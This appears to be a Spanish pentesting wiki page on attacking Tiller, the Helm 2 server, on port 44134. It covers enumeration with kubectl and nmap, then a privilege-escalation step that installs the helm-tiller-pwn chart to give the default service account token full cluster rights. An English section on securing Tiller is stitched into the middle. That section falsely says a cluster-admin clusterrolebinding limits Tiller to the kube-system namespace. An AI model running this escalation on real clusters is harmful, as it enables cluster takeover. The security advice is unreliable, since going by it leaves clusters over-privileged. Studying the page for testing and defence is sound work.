6.3 KiB
Información Básica
Helm es el gestor de paquetes para Kubernetes. Permite empaquetar archivos YAML y distribuirlos en repositorios públicos y privados. Estos paquetes se llaman Helm Charts. Tiller es el servicio que se ejecuta por defecto en el puerto 44134 ofreciendo el servicio.
Puerto por defecto: 44134
PORT STATE SERVICE VERSION
44134/tcp open unknown
Enumeración
Si puedes enumerar pods y/o servicios de diferentes espacios de nombres, enuméralos y busca aquellos que tengan "tiller" en su nombre:
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
Pentesting Tiller (Helm)
Introduction
Helm is a package manager for Kubernetes that allows developers and operators to more easily package, configure, and deploy applications and services onto Kubernetes clusters. Helm uses a client-server architecture, where the client is called helm and the server is called tiller. Tiller runs inside your Kubernetes cluster, and manages releases (installations) of your Helm packages.
Tiller Security
Tiller is a privileged component of the Kubernetes cluster, with full access to the Kubernetes API and the ability to create, modify, and delete resources in any namespace. This means that if an attacker gains access to Tiller, they can potentially take control of the entire cluster.
By default, Tiller is deployed with full administrative privileges, which makes it a high-value target for attackers. However, there are several steps that can be taken to secure Tiller and reduce the risk of compromise.
Securing Tiller
Disable Tiller
The simplest way to secure Tiller is to disable it entirely. This can be done by running the following command:
$ helm init --client-only
This will initialize Helm without installing Tiller. However, this means that you will not be able to manage releases using Helm, so it may not be a viable option for all use cases.
Restrict Tiller's Permissions
If you need to use Tiller, it is recommended that you restrict its permissions as much as possible. This can be done by creating a dedicated service account for Tiller, and assigning it the minimum set of permissions required for your use case.
For example, you can create a service account with the following command:
$ kubectl create serviceaccount tiller --namespace kube-system
And then grant it the cluster-admin role with the following command:
$ kubectl create clusterrolebinding tiller-cluster-rule --clusterrole=cluster-admin --serviceaccount=kube-system:tiller
This will give Tiller full administrative privileges, but only within the kube-system namespace.
Use TLS Encryption
By default, Tiller communicates with the Helm client over an unencrypted connection. This means that any data sent between the client and server can be intercepted and read by an attacker.
To prevent this, it is recommended that you enable TLS encryption for Tiller. This can be done by generating a TLS certificate and key, and configuring Tiller to use them.
For example, you can generate a self-signed TLS certificate and key with the following command:
$ openssl req -keyout tiller.key -out tiller.crt -newkey rsa:2048 -nodes -subj '/CN=tiller'
And then configure Tiller to use them with the following command:
$ helm init --tiller-tls --tiller-tls-cert tiller.crt --tiller-tls-key tiller.key --tiller-tls-verify
This will enable TLS encryption for Tiller, and require the Helm client to verify the server's TLS certificate before connecting.
Conclusion
Tiller is a critical component of the Helm package manager, but it also represents a potential security risk if not properly secured. By following the best practices outlined in this guide, you can help to reduce the risk of compromise and ensure the security of your Kubernetes cluster.
kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
kube-scheduler-controlplane 1/1 Running 0 35m
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
kubectl get services -n kube-system
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
También podrías intentar encontrar este servicio ejecutándose verificando el puerto 44134:
sudo nmap -sS -p 44134 <IP>
Una vez que lo hayas descubierto, puedes comunicarte con él descargando la aplicación cliente helm. Puedes usar herramientas como homebrew, o mirar la página oficial de lanzamientos. Para más detalles, u otras opciones, consulta la guía de instalación.
Luego, puedes enumerar el servicio:
helm --host tiller-deploy.kube-system:44134 version
Escalada de privilegios
Por defecto, Helm2 se instaló en el namespace kube-system con altos privilegios, por lo que si encuentras el servicio y tienes acceso a él, esto podría permitirte escalar privilegios.
Todo lo que necesitas hacer es instalar un paquete como este: https://github.com/Ruil1n/helm-tiller-pwn que dará acceso al token de servicio predeterminado a todo en el clúster completo.
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
En http://rui0.cn/archives/1573 se encuentra la explicación del ataque, pero básicamente, si se lee los archivos clusterrole.yaml y clusterrolebinding.yaml dentro de helm-tiller-pwn/pwnchart/templates/ se puede ver cómo se están otorgando todos los privilegios al token predeterminado.